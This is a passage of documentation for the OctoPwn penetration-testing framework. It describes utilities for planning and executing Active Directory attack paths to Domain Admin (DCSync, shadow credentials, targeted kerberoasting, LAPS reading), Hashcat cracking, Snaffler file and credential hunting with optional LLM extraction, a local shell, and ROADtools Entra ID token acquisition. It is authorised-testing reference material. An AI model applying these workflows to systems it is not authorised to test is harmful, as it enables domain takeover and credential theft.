[`DCSYNC`](../attacks/dcsync.md), …) into something an analyst can drive from a single util session. --- ## Conceptual model The util maintains a **DomainManager** that holds: - A graph of objects (users, groups, computers, OUs, GPOs, domains) with ACL / membership / trust edges between them, loaded either from LDAP or from a BloodHound zip. - A mapping from **OctoPwn credential IDs** to the domain SIDs / DNs they belong to. This is what lets a path-finding query say "from CID 12 to DA" — internally it resolves CID 12 to its SID, then searches. - Per-domain plumbing (LDAP target ID, credential ID, proxy ID) so that when the util needs to act *as* a particular SID it can spin up the right LDAP/SMB session transparently. Everything is keyed on **SIDs** internally. The util has a `normalize` helper that accepts either an `S-1-5-...` string or an OctoPwn CID (which must have a SID populated on it — see [`enrichcid`](#enrichcid) below). ### Supported edges The util explicitly knows how to walk these edges: `forcechangepassword`, `addmember`, `addself`, `genericwrite`, `genericall`, `writedacl`, `writeowner`, `getchangesall`, `getchanges`, `readlaps`. These are the **viable** edges in the path planner. Edges like `memberof`, `member`, `admincount`, `adminopcount` are flagged as **dangerous** — the planner detects them but won't traverse without operator guidance. --- ## Parameters | Parameter | Default | Purpose | | --- | --- | --- | | `pid` | none | Default proxy ID for spawned LDAP / SMB sessions. | | `hidewindows` | `True` | Hide auto-created sessions in the GUI. | | `do_bloodhound` | `True` | Build a BloodHound-style graph alongside the live LDAP model (enables path queries when initialised from LDAP). | | `do_kerberoast` | `True` | Reserved for future automated multi-step planners (auto-attempt targeted kerberoasts during path exploitation). | | `do_adcs` | `True` | Reserved for future ADCS-aware planning. | --- ## Commands ### LOAD #### loadldap `loadldap(sid)` — load the domain by reusing an existing **LDAP client session**. `sid` here is an OctoPwn session ID (not a domain SID). The util pulls the credential / target / proxy from that session, builds a `DomainManager`, and runs an `add_domain_ldap` against the live DC. This is the typical entry point — start an LDAP session, hand its session ID to `loadldap`, and the rest of the util's queries become meaningful. #### loadbloodhound `loadbloodhound(filepath)` — load a BloodHound zip (the kind produced by the [BLOODHOUND utility](bloodhound.md)) into the DomainManager. Useful for offline analysis or for replaying a previously-collected snapshot without touching the wire. When loaded this way some attack commands won't have everything they need (no live LDAP session means no in-place ACL writes); it's intended for **path queries**, not for active exploitation. ### INFO #### domaininfo `domaininfo()` — print every domain currently loaded (forest root, child domains, trusts pulled in via `follow_trusts`). #### cidinfo `cidinfo(cid)` — given an OctoPwn credential ID, print the user-info record (DN, sAMAccountName, SID, group memberships, …) for the corresponding AD object. #### enrichcid `enrichcid(cid)` — populate / refresh the SID and other AD metadata on the given credential. Required before any of the path / attack commands can use that credential as a source — they all key on SID and silently skip credentials that don't have one. #### enrichcredentials `enrichcredentials()` — `enrichcid` over **every** Hub credential whose `stype` is `PASSWORD`, `NT`, or `AES` and that doesn't yet have a SID. Useful right after a fresh import of credentials (e.g. from [NTDS](pypykatz.md#ntds) or [DCSync](../attacks/dcsync.md)) to make them all routable in path queries. ### PATHS All path commands send the result as a `PATH` window message to the GUI (which renders it as a path graph) **and** return the raw paths to the caller for scripting. `name_cid_sid` arguments accept any of: a sAMAccountName / DN, a SID (starts with `S-1-`), or an OctoPwn credential ID. #### path `path(dname_or_cid, sname_or_cid=None)` — shortest path between two arbitrary nodes. With one argument, the second defaults to "any DA group". #### pathtoda `pathtoda(name_cid_sid=None)` — shortest path(s) from `name_cid_sid` to a Domain Admin equivalent. After computing, the util runs `analyze_paths` over the results and prints, per path, whether the path is **viable** (we know how to walk every edge) and **dangerous** (some hop would commit a noisy / irreversible action). #### pathtodaall `pathtodaall(name_cid_sid=None)` — every path to DA, not just the shortest. Slower; use when the shortest path is non-viable and you want the planner to find an alternative. #### pathtodashortest `pathtodashortest()` — global "anything → DA" view. No source filter; returns the union of shortest DA-bound paths from every owned principal the planner knows about. ### EDGES (advanced) The following commands execute a single concrete edge against the domain. They are the building blocks that [`exploit_path`](#exploit_path) chains together; they can also be invoked manually for one-shot exploitation. All of them take SIDs (or CIDs that resolve to SIDs via `enrichcid`) for `src` (the principal that holds the rights) and `dst` (the target object). #### forcechangepassword `forcechangepassword(src, dst, password)` — `src` has `User-Force-Change-Password` over `dst`; set `dst`'s password to `password` and store the new credential. #### targetedkerberoast `targetedkerberoast(src, dst)` — abuse `WriteSPN`-equivalent rights to **add a temporary SPN** to `dst`, kerberoast it, then **remove the SPN**. The recovered hash is added to the Hub. Cross-domain trips are detected automatically and routed through the right Kerberos session. #### writedacl_targetedkerberoast `writedacl_targetedkerberoast(src, dst)` — add full-control DACL, targetedkerberoast, restore the original DACL on the way out. Use when you have `WriteDACL` instead of `WriteSPN`. #### shadowcreds `shadowcreds(src, dst)` — full [Shadow Credentials](../attacks/shadowcreds.md) chain: write a `msDS-KeyCredentialLink`, PKINIT to get a TGT, UnPAC the hash, restore the attribute on the way out. #### writedacl_shadowcreds `writedacl_shadowcreds(src, dst)` — same idea as above but starts from a `WriteDACL` edge: grant full control first, then run shadowcreds, then restore the original DACL. #### addmember `addmember(src, dst, newmember, newmembertype)` — add `newmember` to the group `dst`. The corresponding context-manager flavour (used by the path planner) **also removes `newmember` again on exit** so the change isn't permanent. #### writeownergroup `writeownergroup(src, dst, newmember)` — change owner of group `dst` to `src`, grant full control, add `newmember`, then restore the original owner. #### genericallgroup `genericallgroup(src, dst, newmember)` — `GenericAll` over the group `dst`: grant full control, add `newmember`, restore the DACL. #### genericall_readlaps `genericall_readlaps(src, dst, adminusername=None)` — `GenericAll` over the computer `dst`: grant ReadLAPS rights, fetch the LAPS password, restore the DACL. #### readlaps `readlaps(src, dst, adminusername=None)` — straight ReadLAPS when `src` already has the right. If `adminusername` is set, the recovered LAPS plaintext is stored as a `PASSWORD` credential for that user; otherwise it's just printed. #### dcsync `dcsync(src, dst, targetusername=None)` — perform [DCSync](../attacks/dcsync.md) against domain `dst` as `src`. If `targetusername` is unset, dumps the full domain; otherwise just that user. ### PERSISTENCE #### save `save()` — serialise the loaded DomainManager state into the `__domaindata` session parameter so it survives session restart / project save-load. ### PATH EXPLOITATION #### exploit_path `exploit_path(steps)` — given an attack-plan list (the same shape returned by `analyze_paths` / `pathtoda`), walk each step using the matching edge function (`addmember`, `genericall`, `writeowner`, `getchangesall`, `addself`, `genericwrite`, …) **as nested context managers**. Because each edge function is a context manager, the cleanup actions (`AsyncExitStack`) run in **reverse order** when the chain finishes — so DACLs / owners / group memberships changed at hop 3 are restored before the hops 2 and 1 cleanups run, leaving the domain in its original state if everything succeeds. If any hop fails, the exit stack still unwinds the previous successful hops in reverse order — the chain "self-cleans" on partial failure too. --- ## Operational notes - **Resolve credentials first.** Path commands silently filter out credentials with no SID. Run `enrichcredentials` after every credential import. - **Cross-domain hops** are recognised by SID prefix. The util will spin up an LDAP session pointed at the right domain transparently — make sure the seed credential has cross-domain rights before assuming it'll work. - **Most edge commands have a "writedacl_" partner.** When you don't have the direct edge but you do have `WriteDACL`, use the partner — it grants the missing right just long enough to perform the action and then restores the original DACL. - **Attack-plan annotations are advisory.** The planner is rule-based, not ML; it can mark a path as viable that fails at runtime (e.g. due to permission denied at the actual moment) and vice versa. Always review `analyze_paths` output before committing. - **Cleanup is best-effort.** If the DC goes away mid-chain, the rollback tries the restore but the change may persist — review the affected objects manually. --- ## Limitations and caveats - **`do_addself` is incomplete** in the current code base — it falls through to `addmember` semantics. Treat it as alpha. - **`do_rbcd` is a TODO stub** — for actual RBCD use the dedicated [`RBCD` attack](../attacks/rbcd.md). - **No GPO / OU edge support yet.** `genericwrite` / `genericall` over GPO / OU targets fall through to a "not supported" branch. Walking those edges requires manual orchestration via [`COERCER`](../attacks/coercer.md) / GPP / GPLink etc. - **No tracking of permanent changes.** If you bypass the context manager flavour and call e.g. `addmember` directly, the cleanup does not run. Use `exploit_path` for any chain you want auto-rolled-back. - **The graph layer expects BloodHound-compatible data.** Loading a custom graph format won't work — produce a BloodHound zip first, or rely on the live LDAP path. --- ## See also - [BLOODHOUND utility](bloodhound.md) — produces the zip you can hand to `loadbloodhound`, and the LDAP / SMB session model `loadldap` builds on. - [Neo4j utility](neo4j.md) — for ad-hoc Cypher queries against the same graph data once it's in BloodHound CE. - [LDAP client](../clients/ldap.md) — every edge command spins up an LDAP session under the hood; the underlying primitives (`addusertogroup`, `addfullcontrolright`, `changeowner`, `addspn`, `delspn`, `setkeycredentiallink`, `grantreadlapsrights`, …) live there. - [`KERBEROAST`](../attacks/kerberoast.md) / [`DCSYNC`](../attacks/dcsync.md) / [`SHADOWCREDS`](../attacks/shadowcreds.md) / [`RBCD`](../attacks/rbcd.md) — the attack modules whose semantics this util mirrors at the path-orchestration layer. --- # [Utilities / Operator helpers] hashcat Source: https://docs.octopwn.com/plugins/utils/hashcat.html # Hashcat Utility The **Hashcat** utility wraps a **local** [Hashcat](https://hashcat.net/) binary and ties it into OctoPwn's [Credentials Hub](../../user-guide/credentials.md): hashes added to the Hub are queued for cracking automatically, and any plain recovered by Hashcat is fed back into the Hub as a new `PASSWORD` credential linked to the original. The util does **not** ship Hashcat itself. You point it at the Hashcat binary and at a wordlist (and optionally a rules file) and the rest is plumbing. !!! warning "Server-side / Enterprise only" Hashcat is a native binary that needs a real OS process and (usually) GPU access. The cracking commands **do not work in the WASM build** — they explicitly say so when invoked. Use this utility from the Enterprise / server build, or accept that you'll only ever use it for its potfile / cred-merge bookkeeping. --- ## Parameters | Parameter | Default | Purpose | | --- | --- | --- | | `hashcat` | `hashcat` | Path to the Hashcat binary. Must be executable on the OctoPwn host. | | `wordlist` | `rockyou.txt` | Path to the wordlist used by `wordlist`-mode runs. | | `rules` | none | Optional rules file (`-r`). | | `maxruntime` | `5` | Per-run timeout in **minutes**. Hashcat is killed when it expires. | | `brutemask` | `?a?a?a?a?a?a?a` | Mask used by `bruteforce` runs (Hashcat `-a 3`). | | `brutemin` | `1` | Increment-min for masked runs. | | `brutemax` | `7` | Increment-max for masked runs. | | `autoattacktype` | `wordlist` | Default attack type for autocrack — `wordlist` or `bruteforce`. | | `hashtypes` | `all` | Either `all` or a list of Hashcat hash type IDs (or alias names) to accept; everything else is skipped. | --- ## Hash type recognition The utility carries a small alias table for the credential `stype` values OctoPwn produces internally: | OctoPwn `stype` | Hashcat `-m` | | --- | --- | | `MD5` | `0` | | `NTLM` / `NT` | `1000` | | `LM` | `3000` | | `NETNTLMV2` | `5600` | | `NETNTLMV1` | `5500` | Kerberos credentials are recognised from their string prefix and routed to the right `-m`: | Secret starts with | Mode | Origin | | --- | --- | --- | | `$krb5tgs$23$` | `13100` | Kerberoast (RC4) | | `$krb5asrep$23$` | `18200` | AS-REP roast (RC4) | | `$krb5tgs$17$` / `$18$` | `19600` / `19700` | Kerberoast (AES128 / AES256) | | `$krb5pa$17$` / `$18$` | `19800` / `19900` | Kerberos pre-auth (AES128 / AES256) | If a credential's `stype` is already a numeric Hashcat mode (e.g. `13100`), that's used as-is. Anything else is logged and skipped — see [`hashtypes`](#parameters) above to pre-filter what you want auto-cracked. --- ## Commands ### GENERIC #### potfile `potfile(filepath)` — load a Hashcat potfile (the `hash:plain` format that Hashcat writes when it cracks). Each line is parsed; `$HEX[...]` plains are hex-decoded back into UTF-8. This **does not** add credentials yet — it only loads the potfile into the session's lookup table. Call [`addcreds`](#addcreds) afterwards to merge the potfile into the Hub. #### addcreds `addcreds()` — for every credential in the Hub whose secret matches a hash in the loaded potfile, create a new `PASSWORD` credential with the cracked plain (and the same domain / username / SID metadata as the original). Duplicates are skipped via the credential checksum mechanism. This is the typical "import results from a previous Hashcat run" path. #### sethashcat `sethashcat(path)` — change the path to the Hashcat binary. Must point at an existing file. Equivalent to `setparam hashcat <path>` but with an existence check. #### test `test()` — sanity-test the Hashcat install by cracking the well-known empty NT hash (`31d6cfe0d16ae931b73c59d7e0c089c0`) against the configured wordlist. ### LOCAL #### localcrack `localcrack(hashtype, hashvalue, wordlist, rules=None, maxruntime=5)` — fire a one-shot Hashcat run against a single hash. Useful for quickly checking whether a hash you just typed in is in your wordlist; not the typical workflow (use [`autocrack`](#autocrack) for the streaming-into-the-Hub workflow). ### AUTOCRACK #### autocrack `autocrack()` — register a credential handler with the OctoPwn core. From this point on, **every new credential** added to the Hub is inspected: - If its `stype` (or detected Kerberos prefix) is in the configured `hashtypes` list, it goes into a per-mode buffer. - A worker task drains the buffer in 5-second batches and runs Hashcat per batch using the configured wordlist + rules + `maxruntime`. - Any cracked plain comes back through the standard cred-merge path — the original hashed credential gets a sibling `PASSWORD` credential with the same identity metadata. This is the headline workflow: kick off a kerberoast, leave the project running, and the cracked passwords appear in the Hub on their own. #### disableautocrack Tear down the credential handler. Already-running cracks finish; new credentials are no longer queued. #### stopautocrack Drop the current autocrack queue. Hashes already in flight are not killed; the queue is just emptied so they don't get re-queued on the next batch. --- ## Operational notes - **`maxruntime` is per Hashcat invocation.** When autocrack groups, say, ten kerberoast hashes into one batch, the whole batch runs for one `maxruntime` window. Pick a value that's long enough for your wordlist but short enough to not block the next batch. - **One worker, sequential batches.** The worker runs one Hashcat at a time. There is no parallelism inside the util — Hashcat itself uses all the GPU you give it. - **Output parsing is the standard `hash:plain` Hashcat output**, with `--quiet -O` flags. The util reads stdout line by line; if Hashcat is configured to emit a different format (potfile-only, JSON, etc.) the parser will skip the lines. - **Cracked plains land as new credentials, not modifications.** The original NT / kerberoast credential is preserved; the new `PASSWORD` credential is linked through matching domain / username / SID. Filter the Hub by `description = HASHCAT` to see everything the util has produced. --- ## See also - [Pypykatz utility](pypykatz.md) — the source of many of the NT / kirbi credentials Hashcat will end up cracking. - [`KERBEROAST`](../attacks/kerberoast.md) / [`TIMEROAST`](../attacks/timeroast.md) / [`IPMIHASH`](../attacks/ipmihash.md) — generators of Kerberos / NTP / IPMI hashes that this utility will pick up via autocrack. - [Credentials Hub](../../user-guide/credentials.md) — the autocrack workflow lives entirely on top of the Hub. - [Hashcat hash modes reference](https://hashcat.net/wiki/doku.php?id=example_hashes) — for every `stype` not listed in the alias table above. --- # [Utilities / Operator helpers] snaffler Source: https://docs.octopwn.com/plugins/utils/snaffler.html # Snaffler Utility The **Snaffler** utility is OctoPwn's port / wrapper of the [Snaffler](https://github.com/SnaffCon/Snaffler) "find interesting files" philosophy, built on top of [`pysnaffler`](https://github.com/skelsec/pysnaffler). It walks remote filesystems looking for files whose **name, share, path, or contents** match Snaffler's rule set, downloads the candidates, and runs the content rules on them locally. Where it differs from the standalone Snaffler tool: 1. It is **session-aware** — instead of "give it a username and a network range" you point it at an existing OctoPwn client session and it reuses that session's authenticated context. 2. It works against **four protocols**, not just SMB: **SMB**, **FTP**, **SFTP** (via the SSH client), and **NFSv3**. 3. It can **autosnaffle** — register a session-creation hook so every new client session that lands in the project is enumerated automatically. 4. Optionally, an **LLM** can be invoked on each "matched" file to extract credentials in structured form and add them straight to the [Credentials Hub](../../user-guide/credentials.md). This is opt-in via the `use_llm` parameter and requires an LLM endpoint configured at the OctoPwn level. There is also a [`SNAFFLER` scanner](../scanners/snaffler.md) in the scanners section — that one operates as a stand-alone scanner over a target list and credential. The util documented here is the **interactive, session-following** flavour. --- ## How it works For each target session: 1. The util **opens the matching enumerator** (SMB share walk, FTP listing, SFTP `enum_all`, NFS export listing + per-mount walk). 2. Each entry passes through Snaffler's **rule set** in three places: - **prefilter** — runs without downloading anything; decides whether to descend into a directory / share / mount based on path / name only. - **enum_file** — once a file entry is encountered, the rule set decides whether the file is interesting enough to download (matching filename rule, extension, etc.). - **content rules** — the downloaded file is parsed; matching content regions are extracted with a configurable amount of leading / trailing context (`chars_before_match` / `chars_after_match`). 3. Files that match are **downloaded** to a temp file and (optionally) kept in a per-session zip archive (`<client_id>.zip`) inside `snaffler_downloads/` in the working directory. You decide whether to keep all downloaded files or only the ones that contained secrets via the `keepfiles` / `keepmarkedfiles` parameters. 4. If `use_llm = True`, every matched file is also handed to an LLM with a structured-output prompt asking for `{domain, username, secret, secrettype}` tuples. The util **double-checks** the LLM's answer against the file body to filter out the most obvious hallucinations before adding the result as a Hub credential tagged `source = snaffler_llm`. 5. A **watchdog** prints aggregate stats every 5 seconds while a snaffle is running (`files / downloaded / processed / kept / errors / seen / skipped`). --- ## Parameters | Parameter | Default | Purpose | | --- | --- | --- | | `rulesdir` | none | Directory of custom Snaffler rules. Empty / unset means use the bundled default ruleset. | | `maxfilesize` | `10485760` (10 MB) | Skip any file larger than this. | | `maxdownloads` | `4` | Concurrent downloads per host. | | `maxdownloadstotal` | `20` | Concurrent downloads across all hosts. | | `keepfiles` | `False` | Keep **every** downloaded file in the per-session zip. | | `keepmarkedfiles` | `True` | Keep only files that contained at least one match. | | `maxfiles` | `10000` | Per-host file count cap (0 / negative disables the cap). | | `depth` | `6` | Directory recursion depth. | | `workercount` | `10` | Internal `pysnaffler` worker count. | | `use_llm` | `True` | Hand matched files to an LLM for structured credential extraction. | | `llm_model` | `phi4` | LLM model identifier (whatever the configured backend understands). | | `llm_system` | bundled prompt | System prompt used for the LLM call. | | `skiptoplevel` | `['IPC$', 'C$', 'ADMIN$']` | Top-level shares / exports to skip outright. | | `debug` | `True` | Print per-file debug logs. | --- ## Commands ### GENERIC #### snafflesession `snafflesession(sessionid)` — snaffle one specific client session **right now**. The session must be a `CLIENT` session of one of the supported subtypes (SMB, FTP, SSH, NFS). For SMB / NFS the util will trigger a login if the session is not already authenticated. #### autosnaffle `autosnaffle()` — register a session-creation handler with the OctoPwn core. From this point on, **every new client session** that lands in the project is queued (with deduplication) and snaffled in the background. A status watchdog starts at the same time and prints aggregate stats every five seconds. There is no built-in `disableautosnaffle` — to stop, simply end the util session. --- ## Per-protocol notes ### SMB Walks every share except those listed in `skiptoplevel` (default skips the admin shares). Files are downloaded with `aiosmb`'s file API; rules are matched against the **UNC path** (e.g. `\\dc01\public\creds.txt`) so share-aware rules work as written. ### FTP Uses the [FTP client's](../clients/ftp.md) underlying connection. Because FTP allows only one operation per connection, every file download spins up a fresh sub-connection — be mindful of `maxdownloads` against servers that rate-limit connection rate. ### SFTP (via SSH) Uses the [SSH client's](../clients/ssh.md) SFTP subsystem. There is a hard-coded **Linux skip list** (`/bin`, `/usr`, `/sbin`, `/boot`, `/lib`, `/proc`, `/dev`, …) at the prefilter stage so the snaffle doesn't drown in binaries / virtual filesystems. Walk starts from `/`. ### NFSv3 Walks **every export** the server advertises, not just one. The util queries `mountd` first to enumerate mount points, then mounts each one and walks. See the [NFSv3 client docs](../clients/nfs3.md) for the auth model caveats — the same caveats apply here (low source port, `AUTH_SYS` UID/GID, etc.). --- ## Output For every snaffled session the util writes a zip `snaffler_downloads/<client_id>.zip` inside the working directory. The zip contains: - A `filelist.txt.gz` — gzip-compressed list of every path the walker visited (regardless of match). Useful for post-hoc review of what was *actually* enumerated. - One archive entry per file kept according to `keepfiles` / `keepmarkedfiles`, named after its full remote path (UNC for SMB, absolute path for SFTP / NFS). LLM-extracted credentials are added to the Hub with `source = snaffler_llm` and the appropriate `stype` (`PASSWORD` / `NT` / `SECURESTRING`). Manual review is strongly recommended — the LLM heuristic is only a first pass. --- ## Limitations and caveats - **`AUTOSNAFFLE` has no off switch.** Once registered, the handler stays registered for the lifetime of the util session. Restart the util if you want to stop it. - **LLM credentials may hallucinate.** The built-in cross-check rejects the obvious cases (LLM invented a username / secret that isn't in the file body) but a confident-but-wrong LLM can still sneak through. Review `snaffler_llm`-tagged credentials before relying on them. - **`keepfiles = True` can fill up the working directory fast** on filesystems that are mostly text / config — the cap is on file count per host, not on aggregate size. Combine with `maxfilesize` for protection. - **Symlink loops are not detected** on SFTP / NFS. The `depth` cap is the only thing keeping the walker from spinning forever in a pathological tree. - **Only client sessions** with subtypes starting with `SMB`, `FTP`, `SSH`, or `NFS` are considered. Anything else (RDP, MSSQL, WMI, …) is logged and skipped. --- ## See also - [SNAFFLER scanner](../scanners/snaffler.md) — the same idea expressed as a scanner: targets list + credential, no session-following. - [SMB client](../clients/smb.md), [FTP client](../clients/ftp.md), [SSH client](../clients/ssh.md), [NFSv3 client](../clients/nfs3.md) — the four protocols the util can drive. - [pysnaffler](https://github.com/skelsec/pysnaffler) — the underlying rule engine. Custom rules dropped in `rulesdir` follow its format. - [Snaffler](https://github.com/SnaffCon/Snaffler) — the original C# tool. --- # [Utilities / Operator helpers] terminal Source: https://docs.octopwn.com/plugins/utils/terminal.html # Terminal Utility The **Terminal** utility opens an **interactive PTY shell** inside an OctoPwn window — a real, full-featured `bash` process driven through the GUI's embedded xterm.js terminal. It mirrors the in-window terminal experience the [SSH client](../clients/ssh.md) provides, but for the **OctoPwn host itself** rather than a remote machine. This is intentionally a small util: there is one user-facing command, [`ptyshell`](#ptyshell). The sub-commands `sendchar`, `resize`, and `stopterminal` are wired into the GUI's xterm.js plumbing and you should not need to call them by hand. !!! warning "Enterprise / server build only" The util shells out to `/bin/bash` via `pty.openpty()`. There is no such thing in the browser sandbox — the WASM build cannot use this util. On Linux / macOS server installs it works out of the box; on Windows it requires a POSIX-flavoured runtime (WSL, Cygwin, etc.). --- ## What the GUI gives you When `ptyshell` is invoked, the OctoPwn GUI opens a new window with a full xterm.js terminal connected to the spawned bash process. You get: - Real PTY semantics — colours, line editing, ncurses apps (`htop`, `vim`, `tmux`, …) all work. - Live resize: dragging the window propagates a `TIOCSWINSZ` to the PTY so ncurses apps redraw correctly. - One terminal per `ptyshell` invocation — you can have several open at the same time, each with its own session ID. - Closing the window terminates the bash process (and any child it has spawned that's still attached to the PTY). Outside the GUI (text-only console, automation scripts) the util is not useful — there is no scriptable wrapper around the streaming PTY data. --- ## Parameters | Parameter | Default | Purpose | | --- | --- | --- | | `command` | none | Reserved — would let you start `ptyshell` with a non-default command. Currently the spawned process is hard-coded to `/bin/bash`. | | `debug` | `True` | Print debug messages from the util. | --- ## Commands ### GENERIC #### ptyshell `ptyshell()` — spawn a new bash PTY. The util: 1. Allocates a master/slave PTY pair (`pty.openpty()`). 2. Starts `/bin/bash` with the slave end as its stdin/stdout/stderr, inside a fresh session (`os.setsid`) so the PTY becomes its controlling terminal. 3. Returns a session ID and tells the GUI to open a new xterm.js window bound to that ID. From the GUI side, every keystroke is base64-wrapped and sent to the util, which writes it straight to the master FD. Output from bash is read off the master FD by an `add_reader` callback and streamed back to the GUI window the same way. Window resize events are forwarded as `TIOCSWINSZ` ioctls. --- ## When to use it - **Quick local commands** without leaving the OctoPwn UI — running a one-off `nmap` / `crackmapexec` / `pkexec`-elevated shell next to your current OctoPwn project. - **Debugging plugins / WSNet daemon issues** — having a shell on the OctoPwn host in the same browser tab is a much shorter context-switch than alt-tabbing to a separate terminal app. - **Driving local cracking** alongside the [HASHCAT utility](hashcat.md) — e.g. for managing wordlists, checking the potfile, or running auxiliary tools. --- ## Limitations and caveats - **POSIX only.** Uses `pty`, `fcntl`, `termios`, `os.setsid`. Windows hosts need a POSIX runtime. - **No persistence.** Closing the window closes the PTY; there is no detach / reattach (yet). Use `tmux` / `screen` *inside* the bash session if you need that. - **Inherits OctoPwn's privileges.** The bash process runs as the user OctoPwn is running as. If you started OctoPwn as root, you get a root shell — be deliberate about that. - **Output is not echoed to the OctoPwn console** — only to the xterm.js window. Programmatic capture of session output is not supported. - **The `command` parameter is currently unused.** Custom shells (`zsh`, `fish`, `python -i`, `tmux attach`) can't be set this way yet — the spawned binary is hard-coded. --- ## See also - [SSH client](../clients/ssh.md) — for the same kind of interactive PTY experience, but against a *remote* host. Same xterm.js front-end. - [Plugin Loader](pluginloader.md) — if you find yourself opening a local shell to invoke a fixed sequence of commands repeatedly, write a plugin instead. --- # [Utilities / Operator helpers] roadtools Source: https://docs.octopwn.com/plugins/utils/roadtools.html # ROADtools Utility The **ROADtools** utility is OctoPwn's wrapper around [Dirk-jan Mollema's ROADtools framework](https://github.com/dirkjanm/ROADtools) for **Entra ID / Azure AD** reconnaissance. It exposes: - **Token acquisition** — username/password (v1 and v2 endpoints), refresh-token flows, and tenant / user discovery. - **ROADrecon `gather`** — the bulk Azure AD data dump that feeds every other ROADtools analysis tool. - **Two ROADrecon plugins** — `xlsexport` (everything to an Excel workbook) and `policies` (Conditional Access Policy parser → standalone HTML report). All acquired tokens are stored in the [Credentials Hub](../../user-guide/credentials.md) with `stype = PRT`, `source = store_token` — ready to be reused by subsequent ROADtools sessions or by other Azure-aware modules. Output databases / reports are written to the project's working directory (typically `/browserfs/volatile`). --- ## Parameters All parameters are session-scoped and used as defaults for the auth / gather commands. They map 1:1 onto ROADtools' `Authentication` config: | Parameter | Default | Purpose | | --- | --- | --- | | `proxyid` | none | OctoPwn proxy ID for HTTP traffic to login.microsoftonline.com / graph | | `tenant` | none | Tenant ID / domain (`contoso.onmicrosoft.com` or GUID) | | `client` | `1b730954-1685-4b74-9bfd-dac224a7b894` | Application (client) ID — default is the well-known "Microsoft Azure AD PowerShell" client | | `accesstoken` | none | Pre-existing access token to use directly | | `refreshtoken` | none | Pre-existing refresh token (paired with `tenant` / `client`) | | `samltoken` | none | Pre-existing SAML token | | `tokenfile` | `.roadtools_auth` | Filename for ROADtools' on-disk token cache | | `resource` | `https://graph.windows.net` | Resource URI (the API the token is for) | | `scope` | none | OAuth2 scope (only required by the v2 endpoint) | | `useragent` | none | Custom User-Agent string | | `debug` | `False` | Pass-through to ROADtools' debug logger | --- ## Commands ### AUTH #### userpass `userpass(username, password)` — authenticate via the **v1** OAuth endpoint. Works against any tenant and any user that allows password auth. Returned token is stored in the Hub as a `PRT` credential. #### userpassv2 `userpassv2(username, password, scope=None)` — same as above but against the **v2** OAuth endpoint. Requires `scope` to be set (either as a parameter or via the session `scope` parameter). Use this for modern app registrations. #### userdiscovery `userdiscovery(username)` — given a `user@domain`, look up tenant identity (realm-discovery). Useful pre-auth to figure out what tenant a user lives in and whether the tenant uses federated / managed authentication. #### authrefreshtoken `authrefreshtoken(token)` — refresh an existing token. `token` may be: - An **integer** — credential ID of a stored PRT in the Hub. The credential's `secret` (the JSON token blob) is loaded automatically. - A **JSON string** starting with `{` — the inline token JSON. - A **file path** — JSON file containing the token blob. The refreshed token is stored as a new credential in the Hub. ### GATHER #### gather `gather(token, mfa=False, skipfirst=False)` — run **ROADrecon `gather`**, the canonical Azure AD bulk dump. Same semantics as the standalone tool: dumps users, groups, apps, devices, service principals, role assignments, OAuth permissions, *etc.* into a SQLite DB. - `token` follows the same flexible format as `authrefreshtoken` (CID / inline JSON / file path). - `mfa = True` enables the MFA-required token-acquisition path (when the token is from an MFA-satisfied auth context). - `skipfirst = True` skips the user/group enumeration phase — useful when you want to re-run only the post-processing on an existing DB. The output DB is written as `roadrecon_<YYYYMMDD_HHMMSS>.db` and moved into the OctoPwn working directory; the file path is printed in the session window. ### PLUGINS #### xlsexport `xlsexport(dbfile, outformat='xlsx', verbose=False)` — export the full ROADrecon DB into a single Excel workbook (or other supported format). Supported output formats are whatever the underlying [`aroadtools.roadrecon.plugins.xlsexport`](https://github.com/dirkjanm/ROADtools) supports — `.xlsx` is the default and what every analyst will want. #### policies `policies(dbfile)` — parse the Conditional Access Policies in the ROADrecon DB and emit a standalone `caps.html` report you can open in a browser. The single most useful artifact from a tenant audit — it's the human-readable view of "which CA policies apply to whom under what conditions". --- ## Typical workflows ### 1. Full tenant audit from cleartext credentials ``` roadtools> setparam tenant contoso.onmicrosoft.com roadtools> userpass alice@contoso.onmicrosoft.com 'Welcome2026!' # A PRT credential appears in the Hub, e.g. CID 17. roadtools> gather 17 # DB written to /browserfs/volatile/roadrecon_20260509_2311.db roadtools> xlsexport /browserfs/volatile/roadrecon_20260509_2311.db roadtools> policies /browserfs/volatile/roadrecon_20260509_2311.db ``` ### 2. Already have a refresh token (from another tool) ``` roadtools> setparam tenant contoso.onmicrosoft.com roadtools> authrefreshtoken /browserfs/volatile/refresh.json # A new fresh PRT lands in the Hub. roadtools> gather <new CID> ``` --- ## Limitations and caveats - **Conditional Access can block the auth** even with valid creds — typical blockers are device-compliance requirements, MFA enforcement, and geo-fencing. Run [`userdiscovery`](#userdiscovery) first to understand the tenant's auth model. - **`gather` can be slow.** A big tenant takes 10–30 minutes; the session window streams progress lines. - **Plugin output goes to fixed filenames** in the working directory (`caps.html`, `export_*.xlsx`). Re-running clobbers earlier outputs; rename or move first if you want to keep them. - **No automatic credential enrichment** — tokens land as `stype = PRT` but the Hub doesn't yet auto-derive the username's UPN / SID from the token payload. Tag manually if you need that. --- ## See also - [ROADtools (Dirk-jan Mollema)](https://github.com/dirkjanm/ROADtools) — the upstream framework. The CLI flags map directly onto OctoPwn's parameter names. - [DPAPI utility → `cloudapkd`](dpapi.md#cloudapkd) — for decrypting CloudAP PRT secrets when you have local DPAPI material (the other half of the Azure-credential picture). - [Credentials Hub](../../user-guide/credentials.md) — where the PRT credentials land for re-use. --- # [Utilities / Operator helpers] pluginloader Source: https://docs.octopwn.com/plugins/utils/pluginloader.html # Plugin Loader Utility The **Plugin Loader** is the runtime that loads and runs **OctoPwn plugins** — custom Python modules that extend OctoPwn at runtime without modifying the core code base. It is the entry point for everything authored in the [OctoPwn IDE](ide.md) and for any plugin shipped via the plugin distribution mechanism (the `plugins.zip` bundle). A plugin is, in the simplest form, a Python file that exports an `OctoPwnPlugin` class with two coroutines: ```python class OctoPwnPlugin: async def pluginsetup(self, name, octopwnobj, print_cb, client_id): # Stash references; register hooks; print banners; etc. ... async def run(self): # The actual plugin body. Runs as a long-lived asyncio task. ... ``` The util **does not** install plugins. Plugin files are managed by OctoPwn itself — the loader simply imports and executes them. --- ## Plugin lifecycle 1. The loader resolves the plugin file path (either passed explicitly or looked up by name in the plugin folder for the active license). 2. The Python module is imported (`importlib.util.spec_from_file_location`). 3. `OctoPwnPlugin()` is instantiated. 4. `pluginsetup(...)` is awaited — this is the plugin's chance to wire up handlers, register session callbacks, etc. 5. `run()` is scheduled as an asyncio task. The plugin lives until the task completes or until the OctoPwn session is torn down. There is no built-in stop / unload command. Plugins that should be 